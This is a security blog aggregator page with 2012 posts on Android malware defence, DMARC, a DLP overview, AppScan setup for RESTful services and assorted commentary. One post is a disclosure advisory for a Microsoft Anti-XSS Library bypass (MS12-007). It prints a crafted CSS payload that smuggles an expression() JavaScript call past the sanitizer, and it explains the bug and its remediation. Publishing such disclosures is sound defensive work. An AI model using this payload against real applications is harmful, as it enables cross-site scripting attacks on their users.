Not logged in | Login

My Security Planet » WebSecurity

Feeds

13163 items (0 unread) in 75 feeds

WebSecurity

Security

SEO

Tools

Opensourcetesting.org News

WebSecurity

Google Online Security Blog

Android and Security

Posted: February 2nd, 2012, 6:29am CST by Jay

Tags: [edit]

Posted by Adrian Ludwig, Android Security Engineer

We frequently get asked about how we defend Android users from malware and other threats. As the Android platform continues its tremendous growth, people wonder how we can maintain a trustworthy experience with Android Market while preserving the openness that remains a hallmark of our overall approach. We’ve been working on lots of defenses, and they have already made a real and measurable difference for our users’ security. Read more about how we defend against malware in Android Market on the Google Mobile Blog here.

SecuriTeam Blogs

Give someone enough rope …

Posted: February 1st, 2012, 4:04pm CST by p1

Tags: Commentary [edit]

Today a Conservative Canadian Senator made a rather bizarre suggestion about giving convicted murderers a rope, and allowing them to hang themselves. (No, I’m not kidding. But he later retracted the statement.)

But, never let it be said that we couldn’t look at ideas, regardless of how they come. Moral repugnance aside, is this a good idea? Probably not.

Would it save money? Only if the murderer felt really, really sorry. And, isn’t that what we wanted out of the justice system in the first place? So, we might have saved money and wasted a life.

Then again, what if the convicted person was not guilty? I would think that an innocent person, unjustly convicted, would be a prime candidate for suicide. So then we have a monetary saving at the cost of an innocent life.

And, for those who really don’t feel bad about killing people, they might welcome the option of getting out of a life sentence. So we may be reducing the deterrent effect if we implement the rope idea.

If we’ve got a real psychopath, is it really a good idea to give him a rope, or poison, or a knife, or a gun, or anything particularly dangerous? It isn’t too hard to start to imagine scenarios where he/she/it could do some real damage, even within the prison.

Maybe we should chip in and buy the Senator a copy of Schneier’s “Liars and Outliers.”

-

Is your site safe from SQL Injection? Website Security Audit is the way to protect your network!
REVEIW: “Zero Day”, David Baldacci

Posted: January 31st, 2012, 3:38pm CST by p1

Tags: Commentary [edit]

BKZERODY.RVW   20111213

“Zero Day”, David Baldacci, 2011, 978-1-4555-0414-5, U$29.99/C$32.99
%A   David Baldacci www.DavidBaldacci.com
%C   237 Park Ave, New York, NY   10017
%D   2011
%G   978-1-4555-0414-5 0446573019
%I   Hachette Book Group
%O   U$29.99/C$32.99
%O   Audience n- Tech 1 Writing 2 (see revfaq.htm for explanation)
%P   643 p.
%T   “Zero Day”

At one time, in information security terminology, “zero day” meant a measure of difficulty or vulnerability. That meaning has been largely destroyed by overexposure in the media. Today it simply means “we want to scare you.”

To top it all off, here is this book by David Baldacci. As a common-or-garden thriller it is OK. But it has nothing to do with computers. Nothing to do with information security. Zip. Zero (you should pardon the expression). Zilch. Nada. Null. None. Nugatory. Not a sausage. The titular phrase isn’t even used anywhere in the book. It seems to have been used as a title simply to say “we want you to think this is really, really scary.”

copyright, Robert M. Slade   2011     BKZERODY.RVW   20111213

-

Make your website safe from SQL Injection attacks. Signup for a daily penetration testing to protect your network!
Certified security awareness

Posted: January 31st, 2012, 1:29pm CST by p1

Tags: Commentary [edit]

A vendor speaking at a conference (is there any other kind of presentation at conferences these days?) has made a call for a new standard for information security awareness training.

” … the way to do this is via a new infosecurity standard that solely focuses on training and awareness and is delivered in the work environment”

Now, I’m all for security awareness. I’m all for more security awareness. I’m all for better security awareness. I’m all for infosec departments to actually TRY security awareness (since they say often say, “well, if it was gonna have worked, it woulda worked by now” and never try it).

But, come on. A new “standard”?

As the man^[1] said, the wonderful thing about computer “standards” is that there are so many to choose from.

What are we going to certify? Users? “Sorry, you have been found to be too stupid to use a computer at work. You are hereby issued this non-jailbroken iPad.”

No, undoubtedly he thinks we are going to “certify” the awareness materials themselves. Good luck with that.

I’ve been a teacher for a lot of years. I’ve also been a book reviewer for a lot of years. And I’ve published books. Trust me on this: a variant of Gresham’s Law is very active in the textbook and educational materials field. Bad textbooks drive out good. As a matter of fact, it’s even closer to Gresham: money drives out good textbooks and materials. Publishers know there is a lot of money to be made in textbooks and training materials. Publishers with a lot of money are going to use that money to advertise, create “exclusive” contracts, and otehrwise ensure that they have the biggest share of the market. The easiest way to do that is to publish as many titles as you can, as cheaply as you can. “Cheaply” means you use contract writers, who can turn out 2-300 pages on anything, whether they know about it or not.

So, do you really think that, if someone starts making noise about a security awareness standard, the publishers won’t make absolutely certain that they’ve got control of the certification process? That if someone comes up with an independent standard that they can withstand the financial pressures that large publishers can bring to bear? That if someone creates an independent cert, and firmly holds to principles and standards, that the publishers won’t just create a competing cert, and advertise it much more than the independent cert can ever hope to?

After all, none of us can possibly think of any lousy security product with a lot of money behind it that can command a larger market share than a good, but independent, product, now can we?

[1] Well, maybe it was Andrew Tanenbaum, but maybe it was Grace Hopper. Or Patricia Seybold. Or Ken Olsen.

-

Is your site safe from SQL Injection attacks? Use an SQL Injection Scanner on a daily basis to protect your network!

Google Online Security Blog

Landing another blow against email phishing

Posted: January 29th, 2012, 3:00pm CST by Jay

Tags: [edit]

(Cross-posted from the Gmail Blog)
Posted by Adam Dawes, Product Manager

Email phishing, in which someone tries to trick you into revealing personal information by sending fake emails that look legitimate, remains one of the biggest online threats. One of the most popular methods that scammers employ is something called domain spoofing. With this technique, someone sends a message that seems legitimate when you look at the “From” line even though it’s actually a fake. Email phishing is costing regular people and companies millions of dollars each year, if not more, and in response, Google and other companies have been talking about how we can move beyond the solutions we’ve developed individually over the years to make a real difference for the whole email industry.

Industry groups come and go, and it’s not always easy to tell at the beginning which ones are actually going to generate good solutions. When the right contributors come together to solve real problems, though, real things happen. That’s why we’re particularly optimistic about today’s announcement of DMARC.org, a passionate collection of companies focused on significantly cutting down on email phishing and other malicious mail.

Building upon the work of previous mail authentication standards like SPF and DKIM, DMARC is responding to domain spoofing and other phishing methods by creating a standard protocol by which we’ll be able to measure and enforce the authenticity of emails. With DMARC, large email senders can ensure that the email they send is being recognized by mail providers like Gmail as legitimate, as well as set policies so that mail providers can reject messages that try to spoof the senders’ addresses.

We’ve been active in the leadership of the DMARC group for almost two years, and now that Gmail and several other large mail senders and providers — namely Facebook, LinkedIn, and PayPal — are actively using the DMARC specification, the road is paved for more members of the email ecosystem to start getting a handle on phishing. Our recent data indicates that roughly 15% of non-spam messages in Gmail are already coming from domains protected by DMARC, which means Gmail users like you don’t need to worry about spoofed messages from these senders. The phishing potential plummets when the system just works, and that’s what DMARC provides.

If you’re a large email sender and you want to try out the DMARC specification, you can learn more at the DMARC website. Even if you’re not ready to take on the challenge of authenticating all your outbound mail just yet, there’s no reason to not sign up to start receiving reports of mail that fraudulently claims to originate from your address. With further adoption of DMARC, we can all look forward to a more trustworthy overall experience with email.

cat slave diary

Political expediency

Posted: January 26th, 2012, 3:49pm CST by vanderaj

Tags: Rants [edit]

Last week, Julia Gillard listened to Clubs Australia and the few voters out at Rooty Hill RSL rather than do the right thing and fix problem gambling. In her announcement, she used the code word “gaming”, which is industry speak that doesn’t like to be called “gambling”. By using this special phrase, it’s obvious that for-profit gambling is more important to her than the lives of problem gamblers and society’s fabric, particularly those who are close to problem gamblers.

The problem isn’t the little flutters that most of us have from time to time, it’s the problem gamblers who form much of the industry’s profits. The for-profit firms have shown no mercy in their campaign to get rid of gambling reform. They succeeded.

The problem is the ALP now sways in the wind to the tune of vested interests rather than the public good. Whitlam didn’t give up on creating Medicare just because the AMA was against it. Hawke and Keating didn’t give up on monetary reform, such as floating the dollar or removing trade barriers that have made us far richer, just because the unions were against it.

The ALP will be in the wilderness for a very long time after the next election. They can’t rule by themselves for many years because they have given up on traditional ALP values, and abandoned and cast off a good percentage of their party support base to the Greens.

If the ALP wants to govern again, it needs to get some vision aligned with its core values, and do it. Kicking refugees, dropping gambling reform, and working against gay marriage are none of these things. Once Craig Thompson has gone (and although I reckon he will hang on until convicted, he surely will be forced to go), the ALP will feel the full wrath of its core voters.

Chris Shiflett

2011 Highlights

Posted: January 23rd, 2012, 1:59pm CST

Tags: [edit]

A new year begins, so for the ninth year in a row, I'm taking a moment to record, reflect, assess, and aim.

Last year, I described 2010 as a landmark year, and it was. Analog, Mild Bunch, Brooklyn Beta, Mapalong, and PHP Advent. Even without factoring in conferences and such, it was a big year.

All of 2010's accomplishments seem trivial when compared to 2011, because in May, Tegan was born.

She's eight months old as I write this, and being a father still feels new. Life has changed, and I have a renewed excitement for what lies ahead. I love what I do, and I love where I do it, but I can't wait to get home each night.

If you want to keep up with Tegan, you can follow her on Twitter. Her Twitter account has been a fun way to record life as it happens from her perspective.

Here are a few other highlights of 2011:
Mapalong Mapalong is an app for bookmarking places. In a nutshell, we've made Google Maps social and beautiful. I haven't blogged much about Mapalong, but 2011 was full of ups and downs that I wish I had recorded. Although I've been involved with many startups and have even been involved early enough to be emotionally and financially invested, there's nothing quite like the struggle of bringing your own idea to life. If we find the right investor, we're going to be growing the team and opening the doors this year, and that's exciting. If you'd like to try Mapalong in the meantime, reserve your username with Twitter, then let me know. Brooklyn Beta With the help of our colleagues and friends (especially Jessi), Cameron and I organized a second Brooklyn Beta this past October. It was an experience that's hard for me to put into words. I will try to summarize Brooklyn Beta in a separate post soon. For now, I'd just like to say thanks to every speaker and every attendee who helped make it something truly special. Ideas of March In March, I pledged to blog more and convinced a lot of other people to do the same. It worked for a while. Planet Chris was full of wonderful content, and my link blog was busier than ever. Over time, my commitment waned, but I had a pretty good excuse. No excuses this year; I will get my blogging rhythm back. Conferences I went to New Adventures in January, but I went as an attendee, not a speaker. In fact, I did not speak at any conferences in 2011. (I spoke briefly at Brooklyn Beta, but that doesn't really count.) Just a few years ago, a recurring resolution was to speak at fewer conferences, because I felt like I was never home. How things have changed! 2011 was a really nice break, and it gave me a chance to focus on my family and my work. PHP Advent Sean and I curated another PHP Advent. This year was more of a struggle than usual, but I'm very happy with how it turned out.
Finally, here are a few goals for the coming year:
Mapalong I believe strongly in Mapalong's promise, and 2012 is an important year. We need money to give us the freedom to focus on it and make it a success. We're also working on an iOS app with full mobile support to follow. Once you can take Mapalong with you wherever you go, we'll be a release or two away from opening the doors. I can't wait. Brooklyn Beta This is the year Brooklyn Beta becomes more than a conference. We've got some exciting things planned, and if you want to stay informed, please follow @brooklynbeta or subscribe to our newsletter. Conferences In 2012, I'm going to speak at a few select events. In February, I'm giving a talk at Boston PHP, my first talk in a year and a half. It's an updated version of my keynote at DPC, where I'll be talking about human behavior and how it impacts everything, even security and other things that developers care about. In March, you'll find me at Greenville Grok. I'm not sure what the rest of the year holds, but I hope to at least make it to Build. Writing I want to get back into the rhythm of writing. This not only means blogging more, but it also means writing for other publications from time to time, exposing myself to more diverse audiences and therefore more diverse ideas. Skills In 2012, I want to get back to growing professionally, which means acquiring skills. Learning and writing go hand in hand for me, so these two goals fit together nicely.
2011 was a very challenging year. In some ways, a challenge can be its own reward, but here's hoping everyone's hard work in 2011 pays off in 2012. I'm pretty darn excited to see what's around the next corner.

Jeremiah Grossman

TEDxMaui -- Hack Yourself First

Posted: January 23rd, 2012, 12:52pm CST by Jeremiah Grossman

Tags: [edit]

Ten years ago if you would have told me that I'd be back living in Hawaii, founder of a fast growing technology company, and a TED speaker -- I would've said, "What's a TED?" Preparing for TEDxMaui was extremely difficult. The presentation format is completely different than anything I’ve ever done before. It was limited to just 18 minutes as opposed to 50, and given to an audience of every day people eager to see something amazing, instead of security professionals and high-tech workers. The message had to be crystal clear. Since TEDxMaui videos won’t be published until late February, you’ll have to settle for my substandard textual description for now.
I wanted everyone, both the viewers in the audience and those who would eventually watch the video, to deeply appreciate the crucial importance of Internet security. I want everyone to know that to discuss Internet security is really to discuss our economic well-being and our national security, and I want everyone to know that both are under attack -- every single day. Most of all I wanted everyone to know that hacking, and people learning how to hack, is absolutely essential to defend ourselves. I labelled this concept Hack Yourself First, the title of the presentation. Hack Yourself First advocates building up our cyber-offense skills, and focusing these skills inward at ourselves, to find and fix security issues before the bad guys find and exploit them.
Before presenting Hack Yourself First I had to first imagine how the audience would respond. Most watching undoubtedly have only had negative experiences with the words “hacking” and “hackers.” All they likely knew of hacking is in relation to viruses infecting their computers, stealing money out of (their) bank accounts, TV interviews of shadowy characters wearing Guy Fawkes masks, salacious articles featuring cyber villains, and of course bad hollywood movies. Whether we like it or not, these are the ambassadors of hacking, so the idea of teaching cyber-offense skills might be considered akin to illegal activity. Just the same, there I was on stage revealing that, “Yes, I am a hacker -- but not like them.”

I don’t know what precisely it was that I said, but the message of Hack Yourself First undoubtedly resonated in a big way. No less than a hundred people introduced themselves to me afterwards excitedly asking, “How do I learn to hack myself first?” Perhaps I shouldn’t have been, but I was blown away. And not just the very young or student age, I’m talking about people 45 up to 70 years old with zero technology background. Maybe it was because I taught them a simple hacking trick, a simple hacking trick they could grasp, and even do, like those from my “Get Rich or Die Trying” presentation. Suddenly the fascinating subject of hacking, which they previously assumed was too complicated to learn, was suddenly approachable. I taught a TED audience how to hack! How cool is that!? :)
Many in the information security industry have been trying desperately and in vain to raise Internet security awareness among the masses. We repeatedly give people laundry lists of what not to do, and it isn’t helping. Better awareness, better overall Internet security, could be accomplished through Hack Yourself First. Teach anyone and everyone who wants to learn how to do the actual attacks the bad guys use against them, perhaps packaged up in a Capture-the-Flag format. That would be a lot of fun for everyone. When people know precisely how hacking works, they’ll be in a better position to spot attacks against them and be on their guard.
I came to TEDxMaui to share my ideas with a wider audience, but what I came away with was more ideas from them about where we can take Hack Yourself First.

WhiteHat Security is a leading provider of website security services.

SecuriTeam Blogs

New computers - Kindle - Ebooks and education

Posted: January 19th, 2012, 6:18pm CST by p1

Tags: Gadgets [edit]

Recently I was discussing the use of technology in education, when an odd (to me) question came up. It was about the use of ebooks. That wasn’t really high on my radar on the tech-in-ed landscape. When I started (good grief, more than 30 years ago) the use of computers for textbooks was a vague, blue-sky idea that a guy named Vannevar Bush had once talked about. (Actually, he was talking about a desk, rather than a book.)

Recently, of course, there has been a lot of discussion about ebooks. School boards have been looking into cost savings. Major tech corporations and publishing conglomerates are getting on the bandwagon. So, her interest was natural.

Specifically, she wanted to know:

> Perhaps you talk to me a bit about why (from a non-environmental
> standpoint) it’s important for students to use digital e-books?
> Is there a learning curve when it comes to learning from an ebook
> rather than a textbook? Is there a shorter attention span?
> What about eye strain?
> How would this effect the structure of learning?

This I could do, having been given a Kindle for Christmas this year. I have just finished doing my first review for the series, using an ebook on the device. Definite tradeoffs: it was easier to grab quotes, much harder to make notes, easier to search, and a right royal pain to try and flip back and forth to check notes, index, etc. Also a complete pain to check references in other works.

In terms of education, and using study materials in school, it was easier to grab quotes — which would make copying and plagiarism easy and very tempting. That’s a bad thing. It is much harder to make notes, and makes study, or writing your own paper, more difficult. Again, given that the purpose of many assignments is to get students to practice creating their own writing, this is a bad thing.

On the other hand, it’s easier to search, and that’s good for studying.

But it’s a right royal pain to try and flip back and forth to check notes (most books don’t have footnotes any longer, they are no endnotes–at the back of the book), the index, appendices, and other material in the book. It is also a complete pain to check references in other works — definitely bad for studying and learning.

In terms of it being “important” for students to use ebooks: as a former public school teacher I don’t think it is. The only reasons would be cost, and getting up to date materials. Frankly, the quality of almost all school texts is absolutely appalling, so having the latest version of tripe isn’t all that important. So, that just leaves cost.

There is a learning curve to using an e-reader, but a fairly small one. No, I take that back. Actual reading isn’t that hard, but you do have to learn something about filing, arranging, and accessing material on the device, particularly in a school/learning situation.

The small screen size is a bit annoying, although you generally can increase the font size. (The book I just finished reviewing was in PDF, and the options for font size for that are very much less.) Generally I didn’t find much eye strain, although I’m used to reading small print, but in low light it was pretty awful.

In terms of learning structure, there could be some advantages. As a teacher, I could create notes and send them to the devices of all the students: it would help that they could not say they didn’t have the assignment

-

Expose the security holes in your products during development. Black Box Testing makes it safer!

Watchfire Application Security Insider

Microsoft Anti-XSS Library Bypass (MS12-007)

Posted: January 19th, 2012, 3:27am CST by Adi Cohen

Tags: [edit]

Introduction

Microsoft Anti-XSS Library is used to protect applications from Cross-Site Scripting attacks, by providing methods for input sanitization.

Vulnerability

Microsoft Anti-XSS Library 3.0 and 4.0 are vulnerable to an attack in which an attacker is able to create a specially formed CSS, that after passing through the GetSafeHTML or GetSafeHTMLFragment methods, contains an expression that triggers a JavaScript call in Internet Explorer.

The following ASP.NET code demonstrates the vulnerability:

1. string data = Microsoft.Security.Application.Sanitizer.GetSafeHtml("<html>a<style></style><div>b</div></html>");

2. string data = Microsoft.Security.Application.Sanitizer.GetSafeHtmlFragment("<div style="font-family:Foo,Bar\,'a\a';font-family:';color:expression(alert(1));y'">aaa</div>");

Explanation

The string value can be broken down as follows:

div{

font-family:Foo,Bar,'aa';

font-family:';color:expression(alert(1));y'

}

A bug in the Anti-XSS library causes the closing apostrophe in the first CSS rule to be dropped. Because of the string not being properly terminated, Internet Explorer now renders this CSS in a different way, which triggers a javascript call:

div{

font-family:Foo,Bar,'aa;font-family:';

color:expression(alert(1));

y'

}

Impact

Every application that relies on either GetSafeHTML or GetSafeHtmlFragment to sanitize user supplied data is vulnerable to XSS.

Remediation

Microsoft has issued a the Anti-XSS library 4.2 to address this issue.

References

[www.securityfocus.com]
[technet.microsoft.com]

Jeremiah Grossman

STOP SOPA/PIPA

Posted: January 18th, 2012, 2:54am CST by Jeremiah Grossman

Tags: [edit]

STOP SOPA/PIPA

SecuriTeam Blogs

Corporate social media rules

Posted: January 17th, 2012, 6:07pm CST by p1

Tags: Commentary [edit]

An item for discussion:

I’ve see this stuff in some recent reports of lawsuits. First people started using social media, for social things. Then corps decided that socmed was a great way to spam people without being accused of spamming. Then corps suddenly realized, to their horror, that, on socmed, people can talk back. And maybe alert other people to the fact that you a) don’t fulfill on your promises, b) make lousy products, c) provide lousy service, and d) so on.

Gloria ran into this today and asked me about the legalities of it. I imagine that it has all the legality of any waiver: you can’t sign away your rights, and a waiver has slightly less value than the paper it’s printed on (or, slightly more, if a fraudster can copy your signature off it [Sorry, I’m a professional paranoid. My brain just works that way.]).

Anyway, what she ran into today (a Facebook page that was offering to let you in on a draw if you “liked” them) (don’t worry, we’ve already discussed the security problems of “likes”):

“We’re honoured that you’re a fan of [us], and we look forward to hearing what you have to say. To ensure a positive online experience for the entire community, we may monitor and remove certain postings. “Be kind and have fun” is the short version of our rules. What follows is the longer version of rules for posts, communications and general behaviour on [our] Facebook page:”

[fairly standard “we’re nice people” marketing type bumpf - rms]

“The following should not be posted on [our] Facebook pages:”

Now, some of this is good:
“Unauthorized commercial communications (such as spam)
“Content meant to bully, intimidate or harass any user
“Content that is hateful, threatening, discriminatory, pornographic, or that
contains nudity or graphic or gratuitous violence
“Content that infringes or violates someone else’s rights or otherwise violates the law
“Personal, sensitive or financial information on this page (this includes but is not limited to email addresses, phone numbers, etc.)
“Unlawful or misleading posts”

Some of it is protecting their “brand”:
“Competitor material such as pictures, videos, or site links”

Some has to do with the fact that they are a franchise operation:
“Links to personal [agent] websites, or invitations from [agents] to connect with them privately”

But some it is limits freedom of expression:
“Unconstructive, negative or derogatory comments
“Repeat postings of unconstructive comments/statements”

And, of course, the kicker:
“[We] reserves the right to remove any postings deemed to be inappropriate or in violation of these rules.”

Now, it’s probably the case that they do have the right to manipulate the content on their site/page any way they want to. But, how far can these “rules” go?

-

Make your website safer. Use an external vulnerability scanner. Nothing to install, zero maintenance!

Google Online Security Blog

Tech tips that are Good to Know

Posted: January 16th, 2012, 4:37pm CST by Jay

Tags: [edit]

Posted by Alma Whitten, Director of Privacy, Product and Engineering

(Cross-posted from the Official Google Blog)

Does this person sound familiar? He can’t be bothered to type a password into his phone every time he wants to play a game of Angry Birds. When he does need a password, maybe for his email or bank website, he chooses one that’s easy to remember like his sister’s name—and he uses the same one for each website he visits. For him, cookies come from the bakery, IP addresses are the locations of Intellectual Property and a correct Google search result is basically magic.

Most of us know someone like this. Technology can be confusing, and the industry often fails to explain clearly enough why digital literacy matters. So today in the U.S. we’re kicking off Good to Know, our biggest-ever consumer education campaign focused on making the web a safer, more comfortable place. Our ad campaign, which we introduced in the U.K. and Germany last fall, offers privacy and security tips: Use 2-step verification! Remember to lock your computer when you step away! Make sure your connection to a website is secure! It also explains some of the building blocks of the web like cookies and IP addresses. Keep an eye out for the ads in newspapers and magazines, online and in New York and Washington, D.C. subway stations.

The campaign and Good to Know website build on our commitment to keeping people safe online. We’ve created resources like privacy videos, the Google Security Center, the Family Safety Center and Teach Parents Tech to help you develop strong privacy and security habits. We design for privacy, building tools like Google Dashboard, Me on the Web, the Ads Preferences Manager and Google+ Circles—with more on the way.

We encourage you to take a few minutes to check out the Good to Know site, watch some of the videos, and be on the lookout for ads in your favorite newspaper or website. We hope you’ll learn something new about how to protect yourself online—tips that are always good to know!
Update 1/17: Updated to include more background on Good to Know.

Watchfire Application Security Insider

Testing RESTful Services with AppScan Standard

Posted: January 15th, 2012, 5:36am CST by Ory Segal

Tags: Info Bits [edit]
As much as I love SOAP web services (not!), it seems like RESTful web services really caught on and became a de-facto standard these days – you see them everywhere, in the cloud, in AJAX or Web 2.0 applications, mobile applications and so forth.

Unlike SOAP services, RESTful services are lightweight. They are extremely easy to understand and also to develop. Nevertheless, there seem to be a million different definitions as to what they really are, but I think the simplest way to understand them is by using the following four definitions, which I’ve found in this DeveloperWorks article:
1. RESTful services use HTTP methods explicitly
2. RESTful services are stateless
3. RESTful services expose directory structure-like URIs
4. RESTful services transfer XML, JSON or both
Simple right?

As much as RESTful services are simple for humans to understand, they are actually a nightmare for automated web application scanners. Why? Because classic HTTP requests usually include parameters either in the Query or Body part of the request. On the other hand, RESTful services usually pass them as what looks like directories (see rule #3 above). For example – the following HTTP request will return the details for a user named Bob:

GET /data/users/Bob/ HTTP/1.1

Host: www.some.site

Connection: close

If this was a standard HTTP request, I would tell you that there’s a good chance you’re looking at a web server that contains 3 directories under its virtual root /data/, /users/, and /Bob/, but that’s not the case. This request, tells the RESTful service to retrieve (GET) the account information for user Bob, which is a part of the /users/ list in our data repository.

When an automated scanner crawls the web application, there’s a good chance that out-of-the-box, it won’t figure out that we’re looking at a RESTful service here, and it will consider these parts of the URL as directories. This means a few things:
- Directory-level tests will be sent to the wrong places – potential false positives
- Parameter-level tests will not be sent to the right places – potential false negatives
IBM's AppScan Standard enables you to train it to cope with RESTful services, using one of two options – Manual or Automatic configuration. Let’s start with the manual option.
Custom Parameters
By default, AppScan automatically recognizes parameters in standard HTTP & HTML formats, but if parameters are in other formats (for example within the Path or within another parameter), you need to define them manually, so that AppScan would be able to recognize, follow and manipulate them during scanning. This is done from the Custom Parameters definition, which you can find under Scan Configuration -> Parameters and Cookies -> Advanced: Customer Parameters.

In order to create a new type of custom parameter definition, you have to click the “+” button, which opens the following screen:

Let’s see a step by step process of adding a definition that will properly parse and test our “users” parameter in the example above.
1. We’ll start by giving this custom parameter definition the Reference Name RESTful_Path_Parameter
2. In the Pattern field, we’ll enter the regular expression /data/([dws%]+)/([dws%]+)/ - This pattern includes two match groups, i.e. /data/group1/group2/, group1 denotes the parameter’s name, and group2 the parameter’s value
3. Since the name of the parameter is the first match group, we will define the Name group index as “1”, and since the value of the parameter is the second match group, we will define the Value group index as “2”. This tells AppScan to extract the name of the parameter from group1, and the value of the parameter from group2. If you are dealing with a Path that only includes a parameter value (i.e. nameless parameters), you can set the Name group index to an empty value, and only mark a single value group
4. Our RESTful service uses Path based parameters, so we’ll set the Location to “Path”. In general, you can set it to either “Body”, “Path”, or “Query”.
5. In our scenario, we’ll leave the Condition Pattern empty. This pattern helps us to limit the behavior of the custom parameter definition, by setting another pattern match on the Location. For example, we could’ve defined the Condition pattern to be: ^/data/, and then our pattern parameter definition would only be relevant for Paths that actually begin with /data/.
6. In addition, in our scenario, we will leave the Response Pattern empty. Just as an FYI - this pattern helps us to teach AppScan how to track the values of our custom parameter in scenarios where the application treats it as a session ID. In such cases, the application might not only embed new values in Paths (e.g. in web links), but also in other places in subsequent responses, such as XML elements, for example: <newSessionID>12345678</newSessionID> - In this case, we would have defined the following Response Pattern:
  <newSessionID>([0-9]+)</newSessionID> - this tells AppScan that even though in the HTTP request, the parameter is called users, it should extract new values from an XML element in subsequent responses, that is called newSessionID. Tricky, complex but nevertheless useful!
That’s it. Once we have our custom parameter definition in place, we can let AppScan crawl and test the application normally. After the Explore phase, you can have a peek in the Data view, and look at the Script Parameters table:

As you can see above, each new RESTful parameter that is extracted and analyzed by AppScan is given a special name in the following format:

__patternParameter__[REFERENCE_NAME]_[NAME_GROUP]__INDEX

In our case, AppScan detected the users parameter with 2 values – Bob and Jane, and the books parameter with two values Bobs Biography and Janes Biography.

The INDEX part of the custom parameter is helpful if the regular expression that we created, caught on the same Path more than once. For example, consider the following Path:

/data/users/Bob/data/phone/areacode/

our pattern would actually match twice on this Path - the first match (index = 0) would set the parameter name to be users and its value to be Bob, and the second match (index = 1) would set the parameter name to be phone and the its value to be areacode. In such case, the name of the custom parameter would appear as:

__patternParameter__RESTful_Path_Parameter__phone__1
Explore Optimization Module
Mastering AppScan’s custom parameters definition could be a daunting task, but this feature is extremely powerful and will allow you to create complex definitions that could parse non-standard HTTP messages of any type and form. If you are in a hurry, lazy, or simply hate regular expressions, there’s an automated way to detect custom parameters by using AppScan’s Explore Optimization Module, which is available through the Tools->Extensions->Explore Optimization Module (Configure or Run):

This extension runs a smart algorithm that will statistically detect URL rewriting rules, such as those that are heavily used by RESTful web applications to generate its directory structure-like URLs. For example, given enough URLs of the format /data/users/VALUE/... this module will automatically generate a custom parameter definition for you.

How much is “enough URLs”? This depends on the configuration of the module and specifically on its Switch Complexity Limit, which by default is set to 50, meaning that you must have 50 different values for the /users parameter.

If you want this module to automatically kick in during scans, you can enable it by going to: Tools->Extensions->Explore Optimization Module: Configure, and checking the box next to Always run automatically during scans. The module will start working once AppScan has crawled 1,000 URLs. You can increase or decrease this default threshold through the Minimum links to start module configuration. If you suspect that your application is using RESTful services, and the module was disabled when you first scanned it, you can always simply run it by going to: Tools->Extensions->Explore Optimization Module: Run

After the module ran, AppScan’s scan log will include special messages related to this module, for example:

There you go. All I had to do was to let AppScan crawl the application for a few minutes, then Run the module, and it automatically created a custom parameter definition with the regular expression users/([^/]+)

In general, the more URLs you have, the better this module will behave.

It is also iterative - if you continue scanning the application after it created the first round of definitions, and once it hit the threshold again, or once you clicked on Run, it will refine these rules and create new ones where needed. Simple and elegant, albeit less accurate and powerful than the manual option mentioned earlier. That's it.

This post was a bit long, you probably need a REST now.

SecuriTeam Blogs

DLP

Posted: January 14th, 2012, 1:31pm CST by eyalestrin

Tags: Commentary [edit]
One of the most common definitions for the term DLP (Data Loss Prevention or Data Leakage Prevention) is “systems that identify, monitor, and protect data through deep content inspection, contextual security analysis of transaction (attributes of originator, data object, medium, timing and recipient/destination and so on) and with a centralized management framework.”

Purpose of this article
Organizations are interested to protect their sensitive data, and DLP provides them with the framework to do that. So far no news… However, the DLP world is a bit more complicated than that and the purpose of this article is to highlight few basic domains and areas that are worth thinking about when considering DLP solutions.

Common Data Locations and States
- Data in motion – Any data that is moving through the network to destinations outside the local / corporate LAN via the Internet
- Data at rest – Data that resides in files systems, databases and other storage methods
- Data at the endpoint – Data at the endpoints of the network (e.g. data on USB devices, external drives, MP3 players, laptops, and other highly-mobile devices)
Examples of sensitive data:
- Confidential and/or proprietary data, for example: processes, methodologies, development code and etc.
- Customer and employee data
- Financial data
- Data that is regulated by regional and national laws such as HIPAA, SOX and GLBA
Common Data Leakage Channels:
Technical side:
- Email Traffic - SMTP from mail servers
- Web mail (Gmail, Yahoo, etc)
- Uploading files to internet destinations (HTTP, HTTPS, FTP)
- Posting on internet sites (blogs, social media, forums)
- Instant messaging (gTalk, MSN, Yahoo, Skype)
- P2P networks
- Wi-Fi networks
- Key loggers, Trojan horses
- Multiple platform (Windows, Linux, MAC, etc)
- Application permissions (ERP, database, SaaS platforms, SharePoint)
Physical:
- Mobile devices
- Non-encrypted hard drives
- USB drives (Disk on key, external hard drives)
- Portable media (CD/DVD, floppy drive, backup tapes)
- Physical security (hard copy of documents)
Human factor:
- Lack of employee awareness to security risks
- Partners, suppliers, temporary employees and visitors
- Working from home, remote locations, internet cafe
Company’s needs to protect themselves from scenarios as mentioned below:
- Inadvertent forwarding of email containing product development or business plans to another email recipient
- An employee extracts data from a secure system and conducts the analysis on a less secure system
- Sending unreleased pricing information to the wrong email address
- Customer or competitive information sent by an employee to a third-party for financial gain
- A disgruntled employee with privileged access to sensitive information acts maliciously and steals information
- Proprietary information sent to a distributor, who might then forward it on to competitors
- Backup tapes are stored in a non-secure environment and curious intruder removes the tape to examine the content
- Incorrect settings of permissions of file and directory structure could allow anyone access the information
DLP solutions prevent confidential data loss by:
- Monitoring communications going outside of the organization
- Encrypting email containing confidential content
- Enabling compliance with global privacy and data security mandates
- Securing outsourcing and partner communications
- Protecting intellectual property
- Preventing malware-related data harvesting
- Enforcing acceptable use policies
- Providing a deterrent for malicious users (by creating the possibility of being caught)
How to implement DLP solution:
1. Perform risk assessment to find out:
  - What type of data exists in the organization?
  - Where is the data located/saved?
  - How valuable is the data to the organization?
  - What type of loss is the organization willing to accept?
  - What are the regulatory and privacy gaps for the organization?
2. Classify the organization data:
  - Top secret
  - Secret
  - Confidential
  - Restricted
  - Unclassified
3. Decide what information does the organization would like to search and protect:
  - Pattern, keyword matching and dictionaries
  - Document fingerprinting
  - Database fingerprinting
4. Prepare data loss prevention plan:
  - How to limit the damage to the organization
  - How to avoid similar incidents from happening in the future
  - How to report to the management, stock holders and media on the current data loss incident
5. Prepare policies, standards and procedures for handling data loss incidents:
  - Scan HTTPS traffic on the gateway
  - Block data from leaving the organization
  - Encrypt sensitive information inside database
  - Full disk encryption
  - Encrypt data before sending to partners/suppliers
  - Prevent use of portable media
  - Employee awareness training
6. Deploy the DLP solution:
  - Install a product on the gateway
  - Configure SSL termination – recommended
  - Configure encryption gateway for SMTP traffic – recommended
  - Deploy agents on the end-points – highly recommended
7. Ongoing monitoring:
  - Review incidents on regular basis (daily/weekly)
  - Fine-tune the product to raise alerts on important incidents and collect all other incidents.
  - Create reports on regular basis to locate top senders/targets
